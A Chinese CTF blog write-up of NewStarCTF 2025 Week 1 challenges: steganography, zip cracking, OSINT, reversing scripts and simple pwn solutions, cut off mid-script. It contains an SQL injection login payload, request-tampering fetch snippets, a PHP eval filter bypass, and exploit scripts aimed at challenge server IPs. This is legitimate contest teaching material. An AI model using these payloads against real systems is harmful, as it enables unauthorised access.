NewStarCTF 2025 Week 1&2

NewStarCTF 2025 Week 1&2

Aristore

Week 1

Misc

我不要革命失败

Challenge

小吉的机械革命笔记本又双叒叕蓝屏了!这次他不想再坐以待毙!他发来了他在C:\Windows\Minidump\的蓝屏文件,请你帮忙分析一下,让机革摆脱舍友的歧视。听说大伙看蓝屏日志都用的是WinDbg,操作也很简单,好像要敲什么!analyze -v?

【难度:简单】

Solution

在微软商店 “从 Microsoft Store 下载”按钮 安装 WinDbg

File -> Settings -> Debugging settings -> Default symbol path 填写微软官方的符号服务器地址然后点击 OK:

1
srv*c:\symbols*http://msdl.microsoft.com/download/symbols

输入题目描述中的命令:

1
!analyze -v
  1. 崩溃类型

    在日志的最上方,!analyze -v 的输出结果显示:

    1
    2
    3
    4
    5
    6
    7
    8
    *******************************************************************************
    * *
    * Bugcheck Analysis *
    * *
    *******************************************************************************

    CRITICAL_PROCESS_DIED (ef)
    A critical system process died

    这里的 CRITICAL_PROCESS_DIED 就是蓝屏显示的终止代码的文字描述,“A critical system process died”是一种非常严重的错误,Windows 为了保护自身会立刻蓝屏

  2. 故障进程

    继续向下看日志可以找到好几个地方指明了是哪个进程出了问题:

    1
    PROCESS_NAME:  svchost.exe

    还有一行更具体的:

    1
    CRITICAL_PROCESS:  svchost.exe

    这说明导致这次蓝屏的关键进程就是 svchost.exe

FLAG

1
flag{CRITICAL_PROCESS_DIED_svchost.exe}

MISC城邦-压缩术

Challenge

欢迎挑战者们来到压缩术的考验关卡,本关考察压缩术的综合使用,请挑战者们通过6位密码门开始挑战吧!(要想使用压缩术,请先念咒语”abcd…xyz0123…789”)

【难度:简单】

Solution

6位密码门 说明密码长度为 6,abcd...xyz0123...789 意味着密码范围是小写英文字母和数字

NewStarCTF2025-1

根据提示爆破得到压缩密码是 ns2025,得到提示:

1
恭喜你,通过了第一道考验,请用其他压缩魔法打开下一扇门吧!(下一扇门明明没有密码,为什么还是要输入密码呢?)

显然是伪加密,用随波逐流修复一下,解压

这个 key.txt 和压缩包里面的 key.txt 是一模一样的,很基础的明文攻击

FLAG

1
flag{You_have_mastered_the_zip_magic!}

EZ_fence

Challenge

rar发现一张残缺的照片竟然需要4颗钉子才能钉住,照片里面似乎藏着秘密。

【难度:简单】

Solution

图片文件尾藏了一个 rar 文件,先提取,发现要密码

图片内的文字是:

1
rdh9zfwzSgoVA7GWtLPQJK=vwuZvjhvPyyvjnMWoSotB

修复图片宽高后在下方出现以下文字:

1
8426513709qazwsxedcrfvtgbyhnujmikop1QWSAERFDTYHGUIKJOPLMNBVCXZ-_

NewStarCTF2025-2

如图得到压缩包的解压密码

1
New5tar_zjuatrojee1mage5eed77yo#

解压缩拿到 flag

FLAG

1
flag{y0u_kn0w_ez_fence_tuzh0ng}

OSINT-天空belong

Challenge

OSINT是指通过公开可获取的信息源收集、分析和利用数据从互联网中提取有价值的信息,并最终将其转化为可操作的情报。

请挑战者们通过OSINT技术,获取你想要的信息吧!flag格式:flag{航班号_当前已经经过的省会城市名称(**市)_所拍摄设备制造商}

【难度:简单】

Solution

先查图片的 exif 信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
ExifTool Version Number         : 13.25
File Name : OSINT-天空belong.jpg
Directory : E:/Desktop
Warning : FileName encoding must be specified [x2]
File Size : 418 kB
File Modification Date/Time : 2025:08:24 18:02:45+08:00
File Access Date/Time : 2025:10:02 00:53:34+08:00
File Creation Date/Time : 2025:08:24 18:02:45+08:00
File Permissions : -r--r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
Exif Byte Order : Big-endian (Motorola, MM)
Make : Xiaomi
Orientation : Rotate 90 CW
Modify Date : 2025:08:17 15:03:47
GPS Latitude Ref : Unknown ()
GPS Speed : undef
GPS Altitude Ref : Above Sea Level
GPS Processing Method :
GPS Speed Ref : Unknown ()
GPS Longitude Ref : Unknown ()
GPS Time Stamp : 00:00:00
GPS Date Stamp :
Y Resolution : 72
X Resolution : 72
Camera Model Name : Xiaomi 15
Y Cb Cr Positioning : Centered
Exif Version : 0230
Aperture Value : 1.6
Scene Type : Directly photographed
Exposure Compensation : 0
Exposure Program : Program AE
Color Space : sRGB
Max Aperture Value : 1.6
Exif Image Height : 1080
ISO Speed : 50
Brightness Value : 8.65
Date/Time Original : 2025:08:17 15:03:47
Flashpix Version : 0100
Sub Sec Time Original : 472
White Balance : Auto
Interoperability Index : R98 - DCF basic file (sRGB)
Interoperability Version : 0100
Exposure Mode : Auto
Exposure Time : 1/4059
Offset Time : +08:00
Flash : Off, Did not fire
Sub Sec Time : 472
F Number : 1.6
Exif Image Width : 1920
ISO : 50
Components Configuration : Y, Cb, Cr, -
Focal Length In 35mm Format : 23 mm
Sub Sec Time Digitized : 472
Create Date : 2025:08:17 15:03:47
Shutter Speed Value : 1/4056
Metering Mode : Center-weighted average
Focal Length : 6.5 mm
Sensitivity Type : ISO Speed
Offset Time Original : +08:00
Scene Capture Type : Standard
Light Source : D65
Sensing Method : Not defined
Resolution Unit : inches
Xiaomi Model : Xiaomi 15
Compression : JPEG (old-style)
Thumbnail Offset : 1478
Thumbnail Length : 4709
Image Width : 1920
Image Height : 1080
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Aperture : 1.6
Image Size : 1920x1080
Megapixels : 2.1
Scale Factor To 35 mm Equivalent: 3.5
Shutter Speed : 1/4059
Create Date : 2025:08:17 15:03:47.472
Date/Time Original : 2025:08:17 15:03:47.472+08:00
Modify Date : 2025:08:17 15:03:47.472+08:00
Thumbnail Image : (Binary data 4709 bytes, use -b option to extract)
GPS Date/Time : 00:00:00Z
GPS Latitude :
GPS Longitude :
Circle Of Confusion : 0.009 mm
Field Of View : 76.1 deg
Focal Length : 6.5 mm (35 mm equivalent: 23.0 mm)
Hyperfocal Distance : 3.10 m
Light Value : 14.4

从 exif 信息中得到的有用信息是:拍摄设备制造商是 Xiaomi,拍摄时间是 2025:08:17 15:03:47

图片是机翼的照片,上面泄露了这架飞机的国籍注册号 B-7198,可以在在线网站上查询到这台飞机在 2025 年 8 月 17 日下午 3 点时的飞行状况:B-7198 Flight Tracking and History 17-Aug-2025 (TNA / ZSJN-CSX / ZGHA) - FlightAware

这趟飞机的航班号是 UQ3574,起飞时间是 01:37PM,计算得到在 03:03PM 时已经起飞了 1h26min,拖动一下时间进度条就能看到当时飞机的位置了

NewStarCTF2025-3

飞机在湖北省上空,省会是 武汉市

FLAG

1
flag{UQ3574_武汉市_Xiaomi}

前有文字,所以搜索很有用

Challenge

欢迎来到文字的世界!这里的字符,要么以你未曾想象过的方式排列,要么你根本都“看”不见。但是没有关系,这里是线上赛,我们不断网,尽情冲浪吧!(ps:因为出题人fanbing,track2的隐藏数据 并 没 有 被 压 缩,请不要“-C”)

【难度:困难】

Solution

Track 1:fL4g已经被挤在中间了

1
2
3
4
5
6
7
8
9
零宽度空格符 (zero-width​​​​‎‎​ space) \u200B : 用于较长单词的换行分隔

零宽度非断空格符 (zero width no-break space) \uFEFF : 用于阻止特定位置的换行分隔
​​​​‌
零宽度连字符 (zero-width joiner) \u200​​​​​D : 用于阿拉伯文与印度语系等文字中,使不会发生连字的字符间产生连字效果
​​​​​
零宽度断字符 ​​​​‎‎​(zero-width non-joiner​​​​‍​‌) \u200C :​​​​‎‌ 用于阿拉伯文,德文,印度语系等文字中,阻止会发生连字的字符间的连字效果
​​​​‍​‎
左至右符​​​​‎‎ (left-to​​​​‍​‌-right mark) \u200E : 用于在混合文字方向的多种语言文本中(例:混合左至右书写的英语与右至左书写的希伯来语),规定排版文字书写方向为左至右​​​​‎‍‌​​​​​‍

零宽字符隐写+base64解码

NewStarCTF2025-4

flag{you_

Track 2:咏雪

这简直就是在fxxk我的brain.txt 内容如下

1
2
3
4
5
here's key
+++++ ++++[ ->+++ +++++ +<]>+ +++++ +++++ +++++ +.<++ ++[-> ++++< ]>.<+
+++[- >---- <]>-. +++++ +++.+ ++++. ----- ---.< +++[- >+++< ]>+++ +++.<
++++[ ->--- -<]>- -.+++ +++++ .--.< +++[- >+++< ]>+.< +++[- >---< ]>---
.++++ ++++. ..... <+++[ ->--- <]>-- .<

brainfuck 解码得到 brainfuckisgooooood

咏雪.docx 如下

NewStarCTF2025-5

联想到前面给出了 key brainfuckisgooooood 很容易想到是 snow 隐写,把全部内容提出来放到 咏雪.txt 然后用工具提取(注意这里由于出题人没压缩所以不用加 -C 参数)

1
2
snow.exe -p "brainfuckisgooooood" 咏雪.txt
----- ...- ...-- .-. -.-. ....- -- . ..--.-

解摩斯电码

0V3RC4ME_

Track 3:谁多谁少,一算便知

附件太长我就不粘了,思路是提取出字符表然后统计各个字符的出现次数,最后根据字符出现的次数从高到低排序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import collections

filename = "谁多谁少,一算便知.txt"

# 使用 with 语句读取文件全部内容
with open(filename, 'r', encoding='utf-8') as file:
content = file.read()

# --- 1. 提取字符表 ---
character_table = sorted(list(set(content)))
print(f"字符表 (共 {len(character_table)} 种):")
print(''.join(character_table))
print("-" * 30)

# --- 2. 统计每个字符的个数 ---
char_counts = collections.Counter(content)

# --- 3. 打印结果 (按数量从高到低排序) ---
print("统计结果:")

# 定义特殊空白字符的可读性表示
special_char_map = {
'\n': r'\n (换行)',
' ': ' (空格)',
'\t': r'\t (制表符)'
}

for char, count in char_counts.most_common():
display_char = special_char_map.get(char, char)
print(f"{display_char}:{count}")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
字符表 (共 95 种):
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
------------------------------
统计结果:
c:1500
H:1450
@:1400
1:1350
L:1300
e:1250
n:1200
G:1150
3:1100
s:1050
}:1000
w:659
!:648
i:637
V:635
F:632
K:631
Q:631
A:629
.:627
v:627
9:626
d:625
;:625
&:622
]:621
m:619
Y:619
>:619
h:618
t:617
5:613
):612
k:612
#:610
6:608
r:607
T:607
u:606
C:605
4:605
0:601
J:601
x:600
Z:599
::598
E:597
M:597
<:597
q:597
z:596
o:596
P:594
/:594
U:594
":594
b:593
+:593
|:592
p:592
B:591
{:591
y:590
$:590
?:588
7:587
a:585
%:584
(空格):584
*:583
~:582
,:581
-:579
^:579
[:579
l:577
2:576
_:575
(:573
R:573
f:571
\:571
':566
O:565
W:563
=:560
`:559
g:557
I:557
8:556
X:556
D:556
S:553
j:547
N:539

cH@1LenG3s}

FLAG

1
flag{you_0V3RC4ME_cH@1LenG3s}

Web

multi-headach3

Challenge

什么叫机器人控制了我的头?

【难度:简单】

Solution

访问 / 得到:

1
2
3
4
5
6
7
Hello!
Today is 2025/10/01

welcome to my first website!

ROBOTS is protecting this website!
But... Why my head is so painful???!!!

接着访问 /robots.txt 得到:

1
2
User-agent: *
Disallow: /hidden.php

接着访问 /hidden.php 重定向回了 /index.php,curl 看看

1
2
3
4
5
6
7
8
9
curl -I https://eci-2zehy0lhdsvatd41dope.cloudeci1.ichunqiu.com/hidden.php
HTTP/1.1 302 Found
Date: Wed, 01 Oct 2025 18:50:23 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.5.9-1ubuntu4.29
Set-Cookie: found_hidden=1
Fl4g: flag{30eb463a-688d-4087-8a14-430cb8987bce}
Location: /index.php

FLAG

1
flag{30eb463a-688d-4087-8a14-430cb8987bce}

strange_login

Challenge

我当然知道1=1了!?

【难度:简单】

Solution

明显是 SQL 注入,还是最简单那种,用户名填 admin' OR '1'='1,密码随便

FLAG

1
flag{00289c2c-3579-48a9-ba55-369cc187c87b}

黑客小W的故事(1)

Challenge

NewStar 的赛场上,小 W 被传送到了一个到处都是虫子的王国,在这里寻觅许久之后,他发现只有学会剑技(HTTP 协议)才能够离开这里。

【难度:中等】

Solution

抓包看看,直接POST /hunt,payload 填大点,在控制台发个包试试看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const url = '/hunt';
const payload = {count: 99};

fetch(url, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(payload)
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok: ' + response.status);
}
return response.json();
})
.then(data => {
console.log(data);
})
.catch(error => {
console.error(error);
});

返回了 {"NextLevel":"/Level2_mato"},跳转到第二关

根据下面的提示得知要访问 /talkToMushroom?shipin=mogubaozi,交谈后又知道要用 POST 方法(参数 guding 在上一段对话中提到过),还是在控制台发包

1
2
3
4
5
6
7
8
9
10
11
fetch('/talkToMushroom?shipin=mogubaozi', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'say=guding'
})
.then(response => response.text())
.then(data => {
console.log(data);
});

得到新的提示 这样吧,你用 DELETE 的方法把我身上的虫子(chongzi)都弄掉,我就把骨钉给你,还是在控制台发包

1
2
3
4
5
6
7
8
9
10
11
fetch('/talkToMushroom?shipin=mogubaozi', {
method: 'DELETE',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'shipin=chongzi'
})
.then(response => response.text())
.then(data => {
console.log(data);
});

再回复一次要骨钉

1
2
3
4
5
6
7
8
9
10
11
fetch('/talkToMushroom?shipin=mogubaozi', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'say=guding'
})
.then(response => response.text())
.then(data => {
console.log(data);
});

得到回复 你已经帮我把虫子弄掉了,我把骨钉给你吧,你可以回去找那个大家伙了(/Level2_END),根据提示跳转到 /Level2_END

改 UA 头,CycloneSlash -> CycloneSlash/1.0 -> CycloneSlash/2.0 -> CycloneSlash/2.0 DashSlash/1.0 -> CycloneSlash/2.0 DashSlash/5.0

然后在 /Level4_Sly 得到 flag

FLAG

1
flag{9a254a84-22bd-4cd2-bfea-b4d608075239}

宇宙的中心是php

Challenge

所有光线都逃不出去……但我知道这不会难倒你的

(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)

【难度:简单】

Solution

F12 找到 s3kret.php,然后访问,给出了下面的代码:

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
include "flag.php";
if(isset($_POST['newstar2025'])){
$answer = $_POST['newstar2025'];
if(intval($answer)!=47&&intval($answer,0)==47){
echo $flag;
}else{
echo "你还未参透奥秘";
}
}

在控制台发包:

1
2
3
4
5
6
7
8
9
10
11
fetch('', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'newstar2025=057'
})
.then(response => response.text())
.then(data => {
console.log(data);
});

在最底下得到 flag

FLAG

1
flag{75fd9c81-19d0-4a01-951b-d5d45aa2fc9c}

我真得控制你了

Challenge

小小web还不是简简单单?什么?你拿不下来?那我得好好控制控制你了哈

【难度:中等】

Solution

删一下拦截的元素然后按下按钮跳转到 /weak_password.php

弱口令爆破,账密是 admin/111111,下一关来到了 /portal.php

拿到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);

function generate_dynamic_flag($secret) {
return getenv("ICQ_FLAG") ?: 'default_flag';
}


if (isset($_GET['newstar'])) {
$input = $_GET['newstar'];

if (is_array($input)) {
die("恭喜掌握新姿势");
}


if (preg_match('/[^\d*\/~()\s]/', $input)) {
die("老套路了,行不行啊");
}


if (preg_match('/^[\d\s]+$/', $input)) {
die("请输入有效的表达式");
}

$test = 0;
try {
@eval("\$test = $input;");
} catch (Error $e) {
die("表达式错误");
}

if ($test == 2025) {
$flag = generate_dynamic_flag($flag_secret);
echo "<div class='success'>拿下flag!</div>";
echo "<div class='flag-container'><div class='flag'>FLAG: {$flag}</div></div>";
} else {
echo "<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>";
}
} else {
?>
<?php } ?>

审计代码可以知道参数 newstar 要满足以下条件:

  1. 计算结果是 2025
  2. 只使用允许的字符:数字、*, /, ~, (), 空格
  3. 不能只包含数字和空格

随便构造一个满足条件的等式就行 /portal.php?newstar=2025/1

FLAG

1
flag{fad9d5bf-245e-4035-bc19-6da7bf63090f}

别笑,你也过不了第二关

Challenge

不是哥们,说白了你有啥实力啊,

过关不是简简单单

【难度:简单】

Solution

控制台改变量就行,改两次就过了

1
score = 9999999;

FLAG

1
flag{e466e3ec-c40e-4f61-a2cb-4bcbfdb6e3f0}

Reverse

Strange Base

Challenge

奇怪?这base64为什么不能一把梭了?

【难度:中等】

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall main()
{
int binlength; // eax
size_t Size; // rax
char enc[48]; // [rsp+20h] [rbp-90h] BYREF
unsigned __int8 output[48]; // [rsp+50h] [rbp-60h] BYREF
unsigned __int8 input[48]; // [rsp+80h] [rbp-30h] BYREF

_main();
memset(input, 0, sizeof(input));
memset(output, 0, sizeof(output));
puts_0("It's time to show your flag to me~~~");
strcpy(enc, "T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9=");
scanf_s("%s", input);
binlength = strlen((const char *)input);
base64_encode(input, (char *)output, binlength);
Size = strlen(enc);
if ( !memcmp_0(output, enc, Size) )
printf("Oh! You're awesome!!!");
else
puts_0("Wrong!");
return 0;
}

打开一眼看到密文 T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9=,接下来看加密函数 base64_encode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
char *__cdecl base64_encode(const unsigned __int8 *bindata, char *base64, int binlength)
{
int j_1; // eax
int v4; // eax
int ja_1; // eax
int v6; // eax
int v7; // eax
unsigned __int8 current; // [rsp+7h] [rbp-9h]
unsigned __int8 currenta; // [rsp+7h] [rbp-9h]
int j; // [rsp+8h] [rbp-8h]
int ja; // [rsp+8h] [rbp-8h]
int jb; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]

i = 0;
j = 0;
while ( i < binlength )
{
j_1 = j;
ja = j + 1;
base64[j_1] = aHelloACrqzyB4s[(bindata[i] >> 2) & 0x3F];
current = (16 * bindata[i]) & 0x30;
if ( binlength <= i + 1 )
{
base64[ja] = aHelloACrqzyB4s[current];
base64[ja + 1] = 61;
v4 = ja + 2;
j = ja + 3;
base64[v4] = 61;
break;
}
ja_1 = ja;
jb = ja + 1;
base64[ja_1] = aHelloACrqzyB4s[(bindata[i + 1] >> 4) | current];
currenta = (4 * bindata[i + 1]) & 0x3C;
if ( binlength <= i + 2 )
{
base64[jb] = aHelloACrqzyB4s[currenta];
v6 = jb + 1;
j = jb + 2;
base64[v6] = 61;
break;
}
base64[jb] = aHelloACrqzyB4s[(bindata[i + 2] >> 6) | currenta];
v7 = jb + 1;
j = jb + 2;
base64[v7] = aHelloACrqzyB4s[bindata[i + 2] & 0x3F];
i += 3;
}
base64[j] = 0;
return base64;
}

定位到自定义表 aHelloACrqzyB4s

1
2
3
4
.rdata:0000000140004000 aHelloACrqzyB4s db 'HElLo!A=CrQzy-B4S3|is',27h,'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXV'
.rdata:0000000140004000 ; DATA XREF: base64_encode+41↑o
.rdata:0000000140004000 ; base64_encode+8C↑o ...
.rdata:000000014000403B db 'KJNMF',0

拼接得到 HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXV KJNM

编写解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def base64_decode(encoded_str, alphabet):
# 1. 创建解码映射
decode_map = {char: index for index, char in enumerate(alphabet)}

# 2. 处理填充字符 '='
padding_count = encoded_str.count('=')
if padding_count > 0:
encoded_str = encoded_str[:-padding_count]

# 3. 将密文转换为二进制字符串
binary_str = ""
for char in encoded_str:
index = decode_map[char]
binary_str += format(index, '06b')

# 4. 移除因填充而产生的多余二进制位
if padding_count == 1:
binary_str = binary_str[:-2]
elif padding_count == 2:
binary_str = binary_str[:-4]

# 5. 将二进制字符串按8位一组转换为字节
decoded_bytes = bytearray()
for i in range(0, len(binary_str), 8):
byte_chunk = binary_str[i:i+8]
if len(byte_chunk) == 8:
decoded_bytes.append(int(byte_chunk, 2))

# 6. 将字节数组解码为字符串
return decoded_bytes.decode('utf-8', errors='ignore')

table = "HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXV KJNM"
cipher = "T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9="
flag = base64_decode(cipher, table)
print(flag)

FLAG

1
flag{Wh4t_a_cra2y_8as3!!!}

X0r

Challenge

no xor,no encrypt.

【难度:签到】

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int __fastcall main(int argc, const char **argv, const char **envp)
{
char Str2[32]; // [rsp+20h] [rbp-60h] BYREF
_BYTE v5[16]; // [rsp+40h] [rbp-40h]
char Str[36]; // [rsp+50h] [rbp-30h] BYREF
int i_1; // [rsp+74h] [rbp-Ch]
int j; // [rsp+78h] [rbp-8h]
int i; // [rsp+7Ch] [rbp-4h]

_main();
puts_0("Please input your flag: ");
scanf("%25s", Str);
i_1 = strlen(Str);
if ( i_1 == 24 )
{
for ( i = 0; i < i_1; ++i )
{
if ( i % 3 )
{
if ( i % 3 == 1 )
Str[i] ^= 0x11u;
else
Str[i] ^= 0x45u;
}
else
{
Str[i] ^= 0x14u;
}
}
v5[0] = 19;
v5[1] = 19;
v5[2] = 81;
for ( j = 0; j < i_1; ++j )
Str[j] ^= v5[j % 3];
strcpy(Str2, "anu`ym7wKLl$P]v3q%D]lHpi");
if ( !strcmp(Str, Str2) )
puts_0("Right flag!");
else
puts_0("Wrong flag!");
return 0;
}
else
{
puts_0("Wrong flag length!");
return 0;
}
}

编写解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cipher = "anu`ym7wKLl$P]v3q%D]lHpi"
target = bytearray(cipher, 'ascii')

key1 = [0x14, 0x11, 0x45]
key2 = [0x13, 0x13, 0x51]

intermediate = bytearray(24)

for i in range(24):
intermediate[i] = target[i] ^ key2[i % 3]

flag = bytearray(24)

for i in range(24):
flag[i] = intermediate[i] ^ key1[i % 3]

print(flag.decode('ascii'))

FLAG

1
flag{y0u_Kn0W_b4s1C_xOr}

Puzzle

Challenge

咦?存在于这个程序中的flag貌似被人打碎了。你能找到flag的碎片并拼凑出完整的flag吗?

【难度:简单】

Solution

part1:Puzzle_Challenge 组合出的字符串

  • 反编译 Puzzle_Challenge(0x1400014ef)

    1
    2
    3
    4
    Source = "Do_";
    Y0u_ = "Y0u_";
    strcpy(Destination, "Do_");
    strcat(Destination, Y0u_);
  • part1 = "Do_Y0u_"

part2:提示的函数名

  • 反编译 Like_7his_Jig(0x140001450)
    • 文本:”You found the second part of the flag–The function name.”
  • part2 = "Like_7his_Jig"

part3:异或还原的数据

  • 反编译 Its_about_part3(0x14000147d)

    1
    2
    for (i = 0; i < 8; ++i)
    v1[i] = __data_start__[i] ^ 0xAD;
  • 定位符号:__data_start__ @ 0x140003000

  • 读取前 8 字节:

    1
    de ed da f2 dd d8 d7 d7
  • XOR 计算(逐字节 ^ 0xAD):

    1
    2
    3
    4
    5
    6
    7
    8
    de ^ ad = 73  ('s')
    ed ^ ad = 40 ('@')
    da ^ ad = 77 ('w')
    f2 ^ ad = 5f ('_')
    dd ^ ad = 70 ('p')
    d8 ^ ad = 75 ('u')
    d7 ^ ad = 7a ('z')
    d7 ^ ad = 7a ('z')
  • part3 = "s@w_puzz"

part4:main 中的“奇怪字符串”

  • 反编译 main(0x140001543)
    • 直接打印字符串表中的提示与格式
  • 在字符串表中发现:"1e_Gam3" @ 0x140004000
  • part4 = "1e_Gam3"

FLAG

1
flag{Do_Y0u_Like_7his_Jigs@w_puzz1e_Gam3}

EzMyDroid

Challenge

普普通通的安卓逆向,请准备好Jadx

【难度:简单】

Solution

NewStarCTF2025-6

FLAG

1
flag{@_g00d_st@r7_f0r_ANDROID}

plzdebugme

Challenge

动态调试是学习逆向必不可少的一部分:)

【难度:中等】

Solution

gpt 一把梭大法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from Crypto.Cipher import AES

# Data from IDA (32 bytes ciphertext)
ciphertext = bytes([
0x1a, 0x90, 0x75, 0xeb, 0x0f, 0xe0, 0xde, 0xdf,
0x26, 0xb9, 0x1e, 0xda, 0x06, 0xd7, 0xc2, 0xa5,
0xc8, 0x09, 0xfb, 0x46, 0xd7, 0x8c, 0x11, 0x17,
0x4a, 0x39, 0x25, 0x59, 0xa0, 0xf1, 0xd6, 0x30
])

# RC4 key "Wow"
rc4_key = b"Wow"

def rc4_crypt(key: bytes, data: bytes) -> bytes:
# KSA
S = list(range(256))
j = 0
keylen = len(key)
for i in range(256):
j = (j + S[i] + key[i % keylen]) & 0xFF
S[i], S[j] = S[j], S[i]
# PRGA
i = j = 0
out = bytearray()
for b in data:
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) & 0xFF]
out.append(b ^ K)
return bytes(out)

# AES key (two qwords written to memory in little-endian)
key = bytes([
0x2B, 0x7E, 0x15, 0x16, 0x28, 0xAE, 0xD2, 0xA6, # from 0xA6D2AE2816157E2B
0xAB, 0xF7, 0x97, 0x75, 0x46, 0x41, 0x11, 0x00 # from 0x001141467597F7AB (zero-padded)
])

iv = bytes([
0x11, 0x45, 0x14, 0x11, 0x45, 0x14, 0x11, 0x45, # from 0x4511144511144511
0x14, 0x11, 0x45, 0x14, 0x11, 0x45, 0x14, 0x11 # from 0x1114451114451114
])

# Pipeline: RC4 -> AES-128-CBC decrypt -> XOR 0x26
rc4_out = rc4_crypt(rc4_key, ciphertext)
aes = AES.new(key, AES.MODE_CBC, iv)
aes_plain = aes.decrypt(rc4_out)
flag = bytes(b ^ 0x26 for b in aes_plain)


print(flag.decode('utf-8'))

FLAG

1
flag{It3_D3bugG_T11me!_le3_play}

Pwn

pwn’s door

Challenge

Key 已经为进入 pwn 的世界做好了充分准备。他找到了可靠的伙伴,猫猫 NetCat 和蟒蛇 Python,还为 Python 配备了强大的工具 pwntools。有了这些,他相信自己一定能顺利通过考验。

【难度:签到】

Solution

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

HOST = '8.147.132.32'
PORT = 23283
p = remote(HOST, PORT)

password = b'7038329'

p.recvuntil(b'password: ').decode()
p.sendline(password)

p.interactive()

FLAG

1
flag{74c648dc-e5d6-4251-a7c4-6ea1e9a13864}

INTbug

Challenge

整数好像有些奇怪的秘密

【难度:简单】

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 func() {
__int16 v1;
int v2; // BYREF
unsigned __int64 v3;

v3 = __readfsqword(0x28u);
v1 = 0;
while (1) {
v2 = 0;
__isoc99_scanf("%d", &v2);
if (v2 <= 0) break; // 非正数则退出循环
if (++v1 < 0) { // 有符号16位溢出到负数时成立
puts("You got it!\n");
system("cat flag");
}
}
puts("You can only input positive number!\n");
return v3 - __readfsqword(0x28u);
}

辅助信息(main 与初始化):

1
2
3
4
5
6
7
8
9
10
11
12
13
int main(...) {
init(...);
puts("welcome to NewStarCTF2025!\n");
alarm(100);
func();
return 0;
}

int init(...) {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
return setvbuf(stderr, 0, 2, 0);
}
  • 漏洞点:func 中使用了有符号 16 位计数器(__int16 v1),每次输入正数时自增并检查 (++v1 < 0)
  • v1 从 32767 溢出为 -32768 时条件成立,打印“You got it!”并执行 system("cat flag")
  • 只需连续输入 32768 次正整数(例如“1”)即可触发拿到 flag。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import socket
import time

HOST = "47.94.87.199"
PORT = 24717

def main():
total = 32768
per_batch = 1024
deadline = time.time() + 120

with socket.create_connection((HOST, PORT), timeout=5) as s:
s.settimeout(0.2)
sent = 0
collected = b""

s.recv(4096)

while sent < total and time.time() < deadline:
batch = min(per_batch, total - sent)

s.sendall(("1\n" * batch).encode())
sent += batch

try:
buf = s.recv(4096)
if buf:
collected += buf
print(buf.decode(errors="ignore"), end="")
if b"flag" in collected.lower():
pass
except socket.timeout:
pass

# 读取剩余输出直到超时或关闭
end_deadline = time.time() + 10
while time.time() < end_deadline:
try:
buf = s.recv(4096)
collected += buf
